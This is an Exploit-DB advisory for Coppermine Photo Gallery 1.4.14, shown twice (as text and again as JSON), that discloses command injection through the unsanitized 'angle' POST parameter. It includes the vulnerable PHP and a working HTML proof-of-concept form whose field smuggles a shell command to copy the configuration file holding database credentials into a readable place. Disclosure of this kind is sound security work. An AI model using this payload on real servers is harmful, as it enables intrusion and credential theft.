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Coppermine Photo Gallery 1.4.14 - Remote Command Execution Exploit

2008-01-30T00:00:00

ID EDB-ID:5019
Type exploitdb
Reporter waraxe
Modified 2008-01-30T00:00:00

Description

Coppermine Photo Gallery 1.4.14 Remote Command Execution Exploit. Webapps exploit for php platform

                                        
                                            [waraxe-2008-SA#065] - Remote Shell Command Execution in Coppermine 1.4.14
===============================================================================

Author: Janek Vind "waraxe"
Date: 30. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-65.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coppermine Photo Gallery is a multi-purpose fully-featured and integrated web
picture gallery script written in PHP using GD or ImageMagick as image library
with a MySQL backend.

Coppermine Photo Gallery has been tested working well on IIS, Apache 1.3.24
onwards to the latest Apache 2, on Linux, UNIX, OSX, and Win32 systems.

Vulnerabilities discovered
===============================================================================

1. Remote Shell Command Execution in "include/imageObjectIM.class.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Preconditions:
===============
a) ImageMagick must be set as picture processing method.
Default Coppermine setting is GD, so many of the real-world Coppermine
installations are probably not affected with this security issue.

Impact
===============
An attacker is able to execute arbitrary shell commands with the privileges 
of the web server process, such as user "nobody","apache" or "www".

Caused by:
===============

Unsanitized user-submitted POST variables "quality", "angle" and "clipval".

Explanation:
===============

Let's look at one of the ImageMagick wrapper functions:

--------------------------------------
function rotateImage(&$angle){
...
	$imgFile = escapeshellarg("$this-&gt;directory$this-&gt;filename");
...
	$cmd = "{$CONFIG['impath']}convert -quality {$this-&gt;quality}
 {$CONFIG['im_options']} -rotate $angle $imgFile $imgFile";
	exec ($cmd, $output, $retval);
-------------------------------------

As we can see, "$angle" variable is used in command line string without
sanitize. Now who is calling out this function?

"picEditor.php" ~ line 123:
-------------------------------------
...
   $newimage = $_POST['newimage'];
...
   if ($newimage){
      $imgObj = new imageObject($img_dir,$newimage);
...
      if ($imgObj-&gt;imgRes){
...
          if ($_POST['angle']&lt;&gt;0){
                  $imgObj = $imgObj-&gt;rotateImage($_POST['angle']);
          }
-------------------------------------

So if we deliver proper  $_POST['newimage'] and ($_POST['angle'], then
shell command injection seems to be possible ...
And as it was not bad enough - this script is callable by anyone!
No proper permissions check! So anyone in world can exploit this security
hole and run arbitrary commands against webserver's operating system!!
There are still some mitigating factors, which will decrease danger level
of this security hole.

a) ImageMagic method is not default and most Coppermine real-word
installations are using GD. So this specific security hole has impact only,
if IM is used.

b) $_POST array goes through anti-XSS filter first and this makes exploiting
little bit harder. But this of course can't stop determined attacker.

Proof of concept? This simple html form:

[------------- PoC start --------------------------------------------------]
&lt;html&gt;&lt;body&gt;&lt;center&gt;
&lt;form action="http://victim.com/cpg1414/picEditor.php" method="post"&gt;
&lt;input type="hidden" name="newimage" value="../../images/thumb_zip.jpg"&gt;
&lt;input type="hidden" name="quality" value="50"&gt;
&lt;input type="hidden" 
name="angle" value="180;cp include/config.inc.php include/secret.txt;"&gt;
&lt;input type="submit" value="Test!"&gt;
&lt;/form&gt;
&lt;/center&gt;&lt;/body&gt;&lt;/html&gt;
[------------- PoC end ----------------------------------------------------]

Form parameters must be set as needed. "newimage" must point to existing
image file. "include" directory must be writable for current user.
Result - config file with database credentials will be copied to plaintext
file and sensitive data can be viewed after this by anyone just by pointing
webbrowser to resulting text file.

How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download new Coppermine version 1.4.15 as soon as possible!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, koko, str0ke
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum:  http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------

# milw0rm.com [2008-01-30]

JSON Vulners Source

Initial Source

{"id": "EDB-ID:5019", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Coppermine Photo Gallery 1.4.14 - Remote Command Execution Exploit", "description": "Coppermine Photo Gallery 1.4.14 Remote Command Execution Exploit. Webapps exploit for php platform", "published": "2008-01-30T00:00:00", "modified": "2008-01-30T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/5019/", "reporter": "waraxe", "references": [], "cvelist": [], "lastseen": "2016-01-31T21:18:11", "viewCount": 6, "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2016-01-31T21:18:11", "rev": 2}, "dependencies": {"references": [], "modified": "2016-01-31T21:18:11", "rev": 2}, "vulnersScore": 0.5}, "sourceHref": "https://www.exploit-db.com/download/5019/", "sourceData": "[waraxe-2008-SA#065] - Remote Shell Command Execution in Coppermine 1.4.14\n===============================================================================\n\nAuthor: Janek Vind \"waraxe\"\nDate: 30. January 2008\nLocation: Estonia, Tartu\nWeb: http://www.waraxe.us/advisory-65.html\n\n\nTarget software description:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCoppermine Photo Gallery is a multi-purpose fully-featured and integrated web\npicture gallery script written in PHP using GD or ImageMagick as image library\nwith a MySQL backend.\n\nCoppermine Photo Gallery has been tested working well on IIS, Apache 1.3.24\nonwards to the latest Apache 2, on Linux, UNIX, OSX, and Win32 systems.\n\nVulnerabilities discovered\n===============================================================================\n\n1. Remote Shell Command Execution in \"include/imageObjectIM.class.php\"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nPreconditions:\n===============\na) ImageMagick must be set as picture processing method.\nDefault Coppermine setting is GD, so many of the real-world Coppermine\ninstallations are probably not affected with this security issue.\n\nImpact\n===============\nAn attacker is able to execute arbitrary shell commands with the privileges \nof the web server process, such as user \"nobody\",\"apache\" or \"www\".\n\nCaused by:\n===============\n\nUnsanitized user-submitted POST variables \"quality\", \"angle\" and \"clipval\".\n\nExplanation:\n===============\n\nLet's look at one of the ImageMagick wrapper functions:\n\n--------------------------------------\nfunction rotateImage(&$angle){\n...\n\t$imgFile = escapeshellarg(\"$this->directory$this->filename\");\n...\n\t$cmd = \"{$CONFIG['impath']}convert -quality {$this->quality}\n {$CONFIG['im_options']} -rotate $angle $imgFile $imgFile\";\n\texec ($cmd, $output, $retval);\n-------------------------------------\n\nAs we can see, \"$angle\" variable is used in command line string without\nsanitize. Now who is calling out this function?\n\n\"picEditor.php\" ~ line 123:\n-------------------------------------\n...\n $newimage = $_POST['newimage'];\n...\n if ($newimage){\n $imgObj = new imageObject($img_dir,$newimage);\n...\n if ($imgObj->imgRes){\n...\n if ($_POST['angle']<>0){\n $imgObj = $imgObj->rotateImage($_POST['angle']);\n }\n-------------------------------------\n\nSo if we deliver proper $_POST['newimage'] and ($_POST['angle'], then\nshell command injection seems to be possible ...\nAnd as it was not bad enough - this script is callable by anyone!\nNo proper permissions check! So anyone in world can exploit this security\nhole and run arbitrary commands against webserver's operating system!!\nThere are still some mitigating factors, which will decrease danger level\nof this security hole.\n\na) ImageMagic method is not default and most Coppermine real-word\ninstallations are using GD. So this specific security hole has impact only,\nif IM is used.\n\nb) $_POST array goes through anti-XSS filter first and this makes exploiting\nlittle bit harder. But this of course can't stop determined attacker.\n\nProof of concept? This simple html form:\n\n[------------- PoC start --------------------------------------------------]\n<html><body><center>\n<form action=\"http://victim.com/cpg1414/picEditor.php\" method=\"post\">\n<input type=\"hidden\" name=\"newimage\" value=\"../../images/thumb_zip.jpg\">\n<input type=\"hidden\" name=\"quality\" value=\"50\">\n<input type=\"hidden\" \nname=\"angle\" value=\"180;cp include/config.inc.php include/secret.txt;\">\n<input type=\"submit\" value=\"Test!\">\n</form>\n</center></body></html>\n[------------- PoC end ----------------------------------------------------]\n\nForm parameters must be set as needed. \"newimage\" must point to existing\nimage file. \"include\" directory must be writable for current user.\nResult - config file with database credentials will be copied to plaintext\nfile and sensitive data can be viewed after this by anyone just by pointing\nwebbrowser to resulting text file.\n\nHow to fix:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDownload new Coppermine version 1.4.15 as soon as possible!\n\n\nGreetings:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nGreets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, koko, str0ke\nand anyone else who know me!\nGreetings to Raido Kerna. Tervitusi Torufoorumi rahvale!\n\nContact:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\ncome2waraxe@yahoo.com\nJanek Vind \"waraxe\"\n\nHomepage: http://www.janekvind.com/\nWaraxe forum: http://www.waraxe.us/forums.html\n\n---------------------------------- [ EOF ] --------------------------------\n\n# milw0rm.com [2008-01-30]\n", "osvdbidlist": []}